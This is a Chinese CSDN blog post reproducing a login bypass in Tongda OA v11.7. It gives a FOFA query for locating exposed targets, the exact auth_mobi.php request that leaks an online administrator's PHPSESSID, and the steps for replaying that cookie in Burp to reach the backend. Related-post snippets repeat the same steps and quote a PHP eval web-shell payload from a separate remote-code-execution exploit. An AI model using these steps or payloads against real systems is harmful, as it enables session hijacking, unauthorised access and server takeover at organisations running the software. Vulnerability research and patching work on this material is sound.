通达OA v11.7 auth_mobi.php 在线用户登录漏洞

最新推荐文章于 2024-05-17 08:10:09 发布
最新推荐文章于 2024-05-17 08:10:09 发布
阅读量402 收藏
点赞数 1
文章标签： php 开发语言 安全 web安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_36334672/article/details/135951286
版权
本文描述了如何在通达OAv11.7版本中利用特定URL复现漏洞，通过F12开发者工具获取PHPSESSIDcookie，并使用Burp进行抓包操作，从而获取其他页面的会话信息。
摘要由CSDN通过智能技术生成

影响版本

通达OA v11.7

网络空间测绘

fofa:app=“通达OA”
在这里插入图片描述

复现

image.png
继续尝试访问：http://ip/mobile/auth_mobi.php?isAvatar=1&uid=1&P_VER=0
返回为空，那么F12，可以看到我们想要的cookie：
PHPSESSID=oqv12foj3rh5lrf2i7r9i4it31; path=/。接下来burp抓包。
image.png
此时抓http://127.0.0.1/general/index.php 的包，把cookoie塞进去即可。
image.png

qq_36334672
关注
  • 1
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
【漏洞复现-通达OA】通达OA auth_mobi.php在线用户登录漏洞
xiaokp7的博客
08-03 808
通达OA是由北京通达信科科技有限公司自主研发的协同办公自动化系统，包括流程审批、行政办公、日常事务、数据统计分析、即时通讯、移动办公等。通达OA 中存在某接口查询在线用户，当用户在线时会返回 PHPSESSION使其可登录后台系统。
【漏洞复现】通达OA v11.7 在线任意用户登录漏洞
Adminxe的博客
03-08 6920
0x00 前言 通达OA V11.7版本存在这任意用户登录漏洞，该漏洞需要管理员在线才可以登录系统，另外一个方面就是编译在线的uid值进行判断。 具体fofa语法放在下面： app="TDXK-通达OA" 0x01 在线用户判断 访问 ： http://xxx.xxx.xxx.xxx/mobile/auth_mobi.php?isAvatar=1&uid=1&P_VER=0 如果页面时空白的，则说明管理员在线，即可以利用 如果显示RELOGIN，则不...
sql安装包_通达OA11.7 后台sql注入到rce漏洞分析
weixin_39887221的博客
11-24 351
前言hvv期间爆了一个通达OA的漏洞，尝试分析一些这个漏洞的原因以及利用的姿势。攻击队的大佬tql，0day一个接一个的爆。膜师傅们~~~~测试环境通达OA11.7官网上下载的通达OA11.7的安装包，然后傻瓜式一键安装。漏洞分析漏洞点在：general/hr/manage/query/delete_cascade.php文件下：通过代码发现这里对传递的参数没有任何的过滤，是存在sql注...
通达OA v11.7 在线用户登录漏洞复现（附带一键getshell脚本）
最新发布
Innocence_0的博客
05-17 785
在文章的顶部先说明，本文章所介绍的内容以及所附带的脚本仅供学习，如果存在有牟利行为，个人负责！！！仅用于学习娱乐，切勿用于非法用途!请于下载后24小时内删除，使用者承担所有法律责任!一个类似于越权的漏洞，但是利用的方式确实比较特殊。
通达OA v11.7 auth_mobi.php 在线用户登录漏洞复现
花开烟雨楼的博客
03-22 2458
通达OA，Office Anywhere的首字母，是通达信科旗下的品牌。通达OA v11.7 中存在某接口查询在线用户，当用户在线时会返回 PHPSESSION使其可登录后台系统通达OA，Office Anywhere的首字母，是通达信科旗下的品牌。通达OA v11.7 中存在某接口查询在线用户，当用户在线时会返回 PHPSESSION使其可登录后台系统。
通达V11.7auth_mobi.php任意用户登录漏洞复现
qq_44828901的博客
06-19 820
傻瓜式复现：通达V11.7auth_mobi.php任意用户登录
通达OA v11.7 在线任意用户登录漏洞
qq_44657899的博客
06-26 5479
漏洞描述 通达OA v11.7 中webroot\mobile\auth_mobi.php接口存在漏洞，无验证即可查询某个用户是否在线并返回PHPSESSION值使其可登录后台系统。 漏洞影响 通达OA V11.7 漏洞复现 首先访问http://xxx. xxx . xxx . xxx /mobile/auth_mobi.php?isAvatar=1&uid=1&P_VER=0 ，如果页面时空白的，则说明管理员在线，即可以利用。 已经获取到了cookie，此时再访问http://xx.x
通达OA v2017 video_file.php 任意文件下载漏洞.md
09-07
通达OA漏洞合集
通达OA v2017 action_upload.php 任意文件上传漏洞.md
09-07
通达OA漏洞合集
通达OA v11.5 swfupload_new.php SQL注入漏洞.md
09-07
通达OA漏洞合集
通达OA v11.8 getway.php 远程文件包含漏洞.md
09-07
通达OA漏洞合集
TongDa_Scan:通达OA在线用户登录poc
03-13
进攻简述通达OA v11.7中存在某接口查询在线用户，当用户在线时会返回PHPSESSION实现可登录后台系统影响版本通达OA <v11.7进攻利用检测当前用户是否存在线...
[ 漏洞复现篇 ] 通达 OA11.6 文件上传+RCE 漏洞复现
qq_51577576的博客
04-14 4985
一、漏洞编号 二、漏洞靶场 三、漏洞影响版本 四、FOFA Dork/Google Dork 五、利用漏洞风险 六、漏洞修复方案 七、漏洞利用过程
通达OA——前台任意用户伪造登录
xunhuanmao的博客
10-08 4218
通达OA是一套使用比较广泛的办公系统，文中所涉及到的利用方式仅供学习使用，切勿用于违法行为。
某企业通达OA任意登录漏洞复现
热门推荐
FODKING的博客
11-19 1万+
通达oa的任意登录详解
通达OA v11.7 在线用户登录漏洞附自写poc
yiiiing的博客
03-05 4287
提示：文章写完后，目录可以自动生成，如何生成可参考右边的帮助文档 文章目录一、漏洞描述二、漏洞影响三、漏洞复现四、漏洞利用POC五、总结 本文就介绍了通达OA v11.7 在线用户登录漏洞利用方法，及自己写得poc。 提示：以下是本篇文章正文内容，下面案例可供参考 一、漏洞描述 通达OA v11.7 中webroot\mobile\auth_mobi.php接口存在漏洞，无验证即可查询某个用户是否在线并返回PHPSESSION值使其可登录后台系统。 二、漏洞影响 通达OA < v11.7 三、漏
通达OA v11.6 RCE漏洞分析
z1feiyu
08-19 1514
hvv爆出rce按照网上exp进行复现成功获取shell，复现方式自行搜索（很多） 比较好奇 为什么要删除文件 这里从exp着手分析 import requests target="http://192.168.159.137:8080/" payload="<?php eval($_POST['agan']);?>" print("[*]Warning,This exploit code will DELETE auth.inc.php which may damage the OA")
通达oa任意用户登录
09-05
通达OA是一款常见的办公自动化软件，它提供了多种功能以方便用户进行办公工作。对于通达OA的任意用户登录，我可以提供以下回答。 通达OA允许任意用户登录，这意味着所有拥有有效账号和密码的用户都可以登录系统并访问其功能。用户可以通过在登录界面输入正确的用户名和密码，然后点击登录按钮来完成登录操作。系统将对用户的输入进行验证，如果验证通过，用户将成功登录系统。 通达OA的用户登录是安全可靠的。系统会对用户的密码进行加密处理，确保用户的密码不会被泄露。此外，通达OA还提供了多种登录策略，例如登录失败锁定、设置密码复杂度要求和定期更新密码等，以增加系统的安全性。用户可以根据需要选择适合自己的登录策略。 一旦用户成功登录通达OA，他们就可以根据自己的权限进行各种操作。通达OA提供了丰富的功能模块，包括请假申请、加班申请、文档管理、日程安排、内部邮件等，用户可以根据需要选择并使用这些功能模块来提高工作效率。 总之，通达OA允许任意用户登录，用户只需提供正确的账号和密码即可登录系统，并根据自己的权限使用各种功能模块。它是一款安全可靠的办公自动化软件，有助于提高办公效率和工作质量。

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值